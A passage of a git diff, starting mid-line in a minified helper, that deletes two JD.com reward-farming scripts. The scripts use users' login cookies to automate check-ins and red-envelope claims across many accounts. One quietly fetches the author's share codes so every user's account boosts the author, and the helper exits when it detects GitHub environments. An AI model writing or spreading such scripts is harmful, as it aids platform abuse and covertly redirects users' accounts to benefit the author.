t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_ds.js b/activity/jd_ds.js deleted file mode 100644 index cbed929..0000000 --- a/activity/jd_ds.js +++ /dev/null @@ -1,212 +0,0 @@ -/* -京东代属脚本,类似十元街,⚠️⚠️⚠️⚠️限校园用户可使用,其他用户签到失败无京豆 -一周签到下来可获得30京豆,一天任意时刻运行一次即可 - -更新地址:jd_ds.js -参考github@jidesheng6修改而来 -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东代属 -10 7 * * * jd_ds.js, tag=京东代属, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_ds.png, enabled=true - -================Loon============== -[Script] -cron "10 7 * * *" script-path=jd_ds.js, tag=京东代属 - -===============Surge================= -京东代属 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_ds.js - -============小火箭========= -京东代属 = type=cron,script-path=jd_ds.js, cronexpr="10 7 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东代属'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await userSignIn(); - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(async resolve => { - // $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; - if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { - $.msg($.name, '活动已结束', `咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) - } else { - $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); - } - resolve() - }) -} -function userSignIn() { - return new Promise(resolve => { - const body = {"activityId":"28acd0b5255d4aed866c60508ebf10f8","inviterId":"gCBrvPfINCZc+dotfvHPlA==","channel":"MiniProgram"}; - $.get(taskUrl('userSignIn', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - console.log(`今日签到成功`) - if (data.data) { - let { alreadySignDays, beanTotalNum, todayPrize, eachDayPrize } = data.data; - message += `【第${alreadySignDays}日签到】成功,获得${todayPrize.beanAmount}京豆 🐶\n`; - if (alreadySignDays === 7) alreadySignDays = 0; - message += `【明日签到】可获得${eachDayPrize[alreadySignDays].beanAmount}京豆 🐶\n`; - message += `【累计获得】${beanTotalNum}京豆 🐶\n`; - } - } else if (data.code === 81) { - console.log(`今日已签到`) - message += `【签到】失败,今日已签到`; - } else if (data.code === 82) { - console.log(`非校园用户无法签到`) - message += `【签到】失败,非校园用户无法签到`; - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=campus-mall&client=ds_m&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxcb6c7f7be08467e3/104/page-frame.html", - "Cookie": cookie, - "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.18(0x17001231) NetType/WIFI Language/zh_CN'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_fcdyj.js b/activity/jd_fcdyj.js deleted file mode 100644 index e1f1f72..0000000 --- a/activity/jd_fcdyj.js +++ /dev/null @@ -1,352 +0,0 @@ -/* -活动入口: 京东极速版-我的-发财大赢家 - * / - * 基于温某人大佬的脚本修改 - * 助力逻辑:优先助力互助码环境变量,中午10点之后再给我助力 - - * / -https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#发财大赢家 -1 6-22/3 * * * https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, tag=新潮品牌狂欢, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "1 6-22/3 * * *" script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js tag=翻翻乐 - -===============Surge================= -发财大赢家 = type=cron,cronexp="1 6-22/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js - -============小火箭========= -发财大赢家 = type=cron,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, cronexpr="1 6-22/3 * * *", timeout=3600, enable=true - */ -const $ = new Env('发财大赢家助力'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const dyjCode = $.isNode() ? (process.env.dyjCode ? process.env.dyjCode : null) : null //邀请码变量,不支持多账号,格式:redEnvelopeId@markedPin -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = `https://api.m.jd.com`; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - console.log(`\n发财大赢家助力逻辑:优先助力填写的互助码环境变量,中午10点之后再给我助力\n`) - message = '' - $.linkid = "PFbUR7wtwUcQ860Sn8WRfw" - //开红包查询 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.helptype = 1 - $.canDraw = false - $.canWx = true - $.rewardType = 2 - $.hotFlag = false; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.message = `【京东账号${$.index}】${$.UserName}\n` - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - } - if (!dyjCode) { - await open() - if ($.hotFlag) continue; - console.log(`\n环境变量中没有检测到助力码,开始获取【京东账号${$.index}】助力码\n`) - await getid() - } else { - dyjStr = dyjCode.split("@") - if (dyjStr[0]) { - $.rid = dyjStr[0] - $.inviter = dyjStr[1] - $.canRun = true - console.log(`\n检测到您已填助力码${$.rid},开始助力\n`) - await help($.rid, $.inviter, 1) - if (!$.canRun) { - continue; - } - await $.wait(1000) - await help($.rid, $.inviter, 2) - } - } - if (new Date().getHours() >= 10) { - await getAuthorShareCode() - if ($.authorCode && $.authorCode.length) { - console.log(`\n${$.UserName} 去助力\n`) - for (let j = 0; j < $.authorCode.length; j++) { - let item = $.authorCode[j]; - await help(item.redEnvelopeId, item.inviter, 1) - await $.wait(1000) - await help(item.redEnvelopeId, item.inviter, 2) - } - - } - } - console.log(`\n******查询【京东账号${$.index}】${$.nickName || $.UserName}红包情况******\n`); - await getinfo() - if ($.canDraw) { - await getrewardIndex() - if ($.canWx) { - await exchange() - } - await $.wait(1000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function exchange() { - return new Promise(async (resolve) => { - let options = taskUrl("exchange", `{"linkId":"${$.linkid}", "rewardType":${$.rewardType}}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success && data.data) { - if (data.data.chatEnvelopeVo.status == 50053 || data.data.chatEnvelopeVo.status == 50059) { - console.log(`【京东账号${$.index}】${data.data.chatEnvelopeVo.message} ,尝试兑换红包...`) - $.rewardType = 1 - await exchange() - } - } else { - console.log(`【京东账号${$.index}】提现成功`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function open() { - return new Promise(async (resolve) => { - let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.code === 16020) { - $.hotFlag = true - console.log(data.errMsg); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getid() { - return new Promise(async (resolve) => { - let options = taskUrl("redEnvelopeInteractHome", `{"linkId":"${$.linkid}","redEnvelopeId":"","inviter":"","helpType":""}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - // console.log(data.data.state) - if (data.data.state !== 0) { - if (data.success && data.data) { - console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的助力码】${data.data.redEnvelopeId}@${data.data.markedPin}`) - } else { - console.log(data) - } - } else { - console.log(`【京东账号${$.index}】为黑号,跳过`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getinfo() { - return new Promise(async (resolve) => { - let options = taskUrl("redEnvelopeInteractHome", `{"linkId":"${$.linkid}","redEnvelopeId":"","inviter":"","helpType":""}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.data.state !== 0) { - if (data.success && data.data) { - if (data.data.state === 3) { - console.log("今日已成功兑换") - $.canDraw = false - } else if (data.data.state === 6 || data.data.state === 4) { - $.canDraw = true - } else { - console.log(`当前余额:${data.data.amount} 元,还需 ${data.data.needAmount} 元`) - $.canDraw = false - } - } - } else { - $.canDraw = false - console.log(`【京东账号${$.index}】为黑号,跳过`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getrewardIndex() { - return new Promise(async (resolve) => { - let options = taskUrl("rewardIndex", `{"linkId":"${$.linkid}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - console.log(data) - data = JSON.parse(data); - if (data.success && data.data) { - if (data.data.haveHelpNum === 10) { - console.log(`\n【京东账号${$.index}】已满足微信提现要求,开始提现\n`) - $.canWx = true - } - } else { - console.log(`当前已有 ${data.data.haveHelpNum} 人助力,还需 ${data.data.diffNum} 人`) - $.canWx = false - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function help(rid, inviter, type) { - return new Promise(async (resolve) => { - let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}","redEnvelopeId":"${rid}","inviter":"${inviter}","helpType":"${type}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.data && data.data.helpResult) { - console.log(JSON.stringify(data.data.helpResult)) - if (data.data.helpResult.code === 16005 || data.data.helpResult.code === 16007) { - $.needhelp = false - $.canDraw = true - } else if (data.data.helpResult.code === 16011) { - $.needhelp = false - } - } else { - console.log(JSON.stringify(data)) - console.log(`【京东账号${$.UserName}】为黑号,跳过助力`) - $.canRun = false - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getAuthorShareCode() { - return new Promise(resolve => { - $.get({ - url: "https://raw.fastgit.org/shufflewzc/updateTeam/main/shareCodes/dyj.json", - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - $.authorCode = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskUrl(function_id, body) { - return { - url: `${JD_API_HOST}/?functionId=${function_id}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.2`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": 